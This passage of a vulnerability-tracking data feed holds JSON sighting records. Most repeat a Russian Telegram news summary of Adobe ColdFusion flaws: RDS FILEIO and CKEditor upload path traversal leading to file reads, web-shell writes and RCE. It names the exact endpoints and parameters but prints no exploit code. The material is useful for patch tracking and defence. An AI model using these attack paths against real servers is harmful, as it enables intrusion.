\u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0437\u0430\u043a\u0440\u044b\u043b\u043e \u0447\u0442\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u043d\u043e Adobe \u00ab\u0437\u0430\u0431\u044b\u043b\u0430\u00bb \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 ColdFusion \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\nLH | News | OSINT | AI", "creation_timestamp": "2026-09-05T18:00:06.681549Z"}, {"uuid": "1873677c-b39a-4fcd-8e2b-09a06e465287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "https://t.me/haccking/13015", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Adobe ColdFusion (APSB26-68): \u0447\u0442\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c \u0438 RCE \u0447\u0435\u0440\u0435\u0437 RDS \u0438 CKEditor\n\n#cve #Adobe #RCE #RDS\n\n30 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430 Adobe \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 11 CVE \u0432 ColdFusion 2025 (Update 9 \u0438 \u043d\u0438\u0436\u0435) \u0438 2023 (Update 20 \u0438 \u043d\u0438\u0436\u0435). \u042d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 ColdFusion \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u0430\u043b\u043e\u0432 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430, \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 watchTowr \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 RDS \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 CKEditor.\n\nRDS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043e\u0442\u043b\u0430\u0436\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 HTTP. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e RDS \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d, \u043d\u043e \u0435\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0435\u0433\u043e \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c POST-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /CFIDE/main/ide.cfm \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c ACTION=FILEIO \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u2014 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0443\u0442\u0435\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438.\n\n\u0412 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043c\u0435\u0442\u043e\u0434 FileReadOperator() \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 getFile() \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0443\u0442\u0438 (CVE-2026-48313). \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 C:\\Windows\\win.ini. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f WRITE (CVE-2026-48282) \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430 \u043f\u0443\u0442\u044c, \u0434\u0430\u0432\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b \u0432 wwwroot \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 HTTP \u0437\u0430\u043f\u0440\u043e\u0441\u044b (RCE).\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0432 CKEditor: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 endpoint \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 multipart-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c path, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043e\u0431\u0445\u043e\u0434 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u0432 \u043b\u044e\u0431\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 SYSTEM. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u043d\u043e \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438. \u042d\u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0447 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 filemanager.cfc?method=getfmfiles.\n\n\u0411\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 XSLT-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, SSRF \u0438 XXE, \u043d\u043e \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u043c .cfm-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u043c \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0432\u0432\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u043c\u0435\u043d\u0435\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e.\n\n\u042d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0441 RDS \u2014 watchTowr \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0437\u0430\u043a\u0440\u044b\u043b\u043e \u0447\u0442\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u043d\u043e Adobe \u00ab\u0437\u0430\u0431\u044b\u043b\u0430\u00bb \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 ColdFusion \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\nLH | News | OSINT | AI", "creation_timestamp": "2026-09-05T18:00:06.731478Z"}, {"uuid": "1c135d0c-bfc3-42ad-a11a-d54cdc98767c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mus3r2ge7k2m", "content": "\ud83d\udea8 Alerta Cr\u00edtica: Parchea ya el CVE-2026-48558 en servidores SimpleHelp (+MITIGACI\u00d2N) www.newstecnicas.com/2026/07/aler...", "creation_timestamp": "2026-09-05T18:19:59.917542Z"}, {"uuid": "a71fcb87-a820-46f4-aad7-bba00000ade8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "https://t.me/haccking/13015", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Adobe ColdFusion (APSB26-68): \u0447\u0442\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c \u0438 RCE \u0447\u0435\u0440\u0435\u0437 RDS \u0438 CKEditor\n\n#cve #Adobe #RCE #RDS\n\n30 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430 Adobe \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 11 CVE \u0432 ColdFusion 2025 (Update 9 \u0438 \u043d\u0438\u0436\u0435) \u0438 2023 (Update 20 \u0438 \u043d\u0438\u0436\u0435). \u042d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 ColdFusion \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u0430\u043b\u043e\u0432 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430, \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 watchTowr \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 RDS \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 CKEditor.\n\nRDS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043e\u0442\u043b\u0430\u0436\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 HTTP. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e RDS \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d, \u043d\u043e \u0435\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0435\u0433\u043e \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c POST-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /CFIDE/main/ide.cfm \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c ACTION=FILEIO \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u2014 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0443\u0442\u0435\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438.\n\n\u0412 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043c\u0435\u0442\u043e\u0434 FileReadOperator() \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 getFile() \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0443\u0442\u0438 (CVE-2026-48313). \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 C:\\Windows\\win.ini. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f WRITE (CVE-2026-48282) \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430 \u043f\u0443\u0442\u044c, \u0434\u0430\u0432\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0435\u0431-\u0448\u0435\u043b\u043b \u0432 wwwroot \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 HTTP \u0437\u0430\u043f\u0440\u043e\u0441\u044b (RCE).\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0432 CKEditor: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 endpoint \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 multipart-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c path, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043e\u0431\u0445\u043e\u0434 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u0432 \u043b\u044e\u0431\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 SYSTEM. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u043d\u043e \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438. \u042d\u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0447 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 filemanager.cfc?method=getfmfiles.\n\n\u0411\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 XSLT-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, SSRF \u0438 XXE, \u043d\u043e \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u043c .cfm-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u043c \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0432\u0432\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u043c\u0435\u043d\u0435\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e.\n\n\u042d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0441 RDS \u2014 watchTowr \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0437\u0430\u043a\u0440\u044b\u043b\u043e \u0447\u0442\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u043d\u043e Adobe \u00ab\u0437\u0430\u0431\u044b\u043b\u0430\u00bb \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 ColdFusion \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\nLH | News | OSINT | AI", "creation_timestamp": "2026-09-06T00:00:38.645336Z"}, {"uuid": "f9aad6fe-f1e8-484e-b96a-89362e15f6e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "https://t.me/haccking/13015", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Adobe ColdFusion (APSB26-68): \u0447\u0442\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c \u0438 RCE 